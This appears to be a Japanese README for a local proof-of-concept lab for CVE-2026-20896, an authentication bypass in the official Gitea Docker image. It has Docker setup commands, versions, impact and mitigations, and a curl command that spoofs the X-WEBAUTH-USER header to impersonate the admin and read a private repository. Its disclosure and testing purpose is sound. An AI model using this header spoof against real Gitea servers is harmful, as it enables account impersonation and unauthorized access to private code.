
CVE-2026-20896 — Updated!
Gitea Dockerイメージ認証バイパス
CVE-2026-20896: Gitea Docker イメージ認証バイパス PoC
[!WARNING] この PoC はローカルラボまたは明示的にテストを許可されたシステムでのみ使用してください。
https://github.com/user-attachments/assets/b73af2fe-0e59-438b-80d6-be93fd75697b
概要
CVE-2026-20896 は、影響を受ける公式 Gitea Docker イメージにおける認証バイパスです。リバースプロキシ認証が有効な場合、イメージが生成する REVERSE_PROXY_TRUSTED_PROXIES = * 設定により、Gitea バックエンドに到達できるクライアントが X-WEBAUTH-USER ヘッダーを通じて既存ユーザーになりすますことができます。
このラボは、ランダムなパスワードを持つ gitea-admin という管理者を作成し、CVE-2026-20896_AUTH_BYPASS_CONFIRMED をプライベートリポジトリ gitea-admin/private-proof に保存します。ランダムな管理者パスワードを知らずにそのファイルを読み取ることで、バイパスが実証されます。
影響を受けるバージョン
| カテゴリ | バージョン |
|---|---|
| 脆弱性あり | 公式 gitea/gitea Docker イメージ ≤ 1.26.2 |
| 最初の修正版 | 1.26.3 |
| 推奨 | 1.26.4 以降 |
脆弱な構成では、リバースプロキシ認証が有効であり、Gitea バックエンドに直接到達できること、またはアップストリームプロキシが攻撃者が指定した ID ヘッダーを保持することが必要です。このローカル再現にはリバースプロキシコンテナは不要です。
環境
# ビルド
docker build -t cve-2026-20896-gitea-vuln .
# 実行
docker run -d --rm --name cve-2026-20896-gitea-vuln -p 127.0.0.1:3000:3000 cve-2026-20896-gitea-vuln
Gitea とプライベート証明リポジトリが初期化されるまで数秒待ちます。
PoC
cURL
curl -s -L -H "X-WEBAUTH-USER: gitea-admin" http://127.0.0.1:3000/gitea-admin/private-proof/raw/branch/main/proof.txt
悪用に成功すると CVE-2026-20896_AUTH_BYPASS_CONFIRMED が返されます。
Python
python poc.py http://127.0.0.1:3000
このスクリプトは、未認証・非管理者・偽装管理者のリクエストを比較し、認可バイパスが確認された場合に VULNERABLE を出力します。Python 3.10 以降が必要で、標準ライブラリのみを使用します。
影響
- 既知または推測可能な Gitea ユーザーへのなりすまし
- プライベートリポジトリおよびユーザーリソースへの不正アクセス
- 管理者アカウントがなりすまされた場合の管理操作
緩和策
- Gitea 1.26.3 以降にアップグレードしてください。1.26.4 以降を推奨します。
REVERSE_PROXY_TRUSTED_PROXIESを信頼できるプロキシアドレスに制限してください。- Gitea バックエンドへの直接アクセスを防ぎ、外部から供給される ID ヘッダーを上書きしてください。
- 不要な場合はリバースプロキシ認証を無効にしてください。
クリーンアップ
docker stop cve-2026-20896-gitea-vuln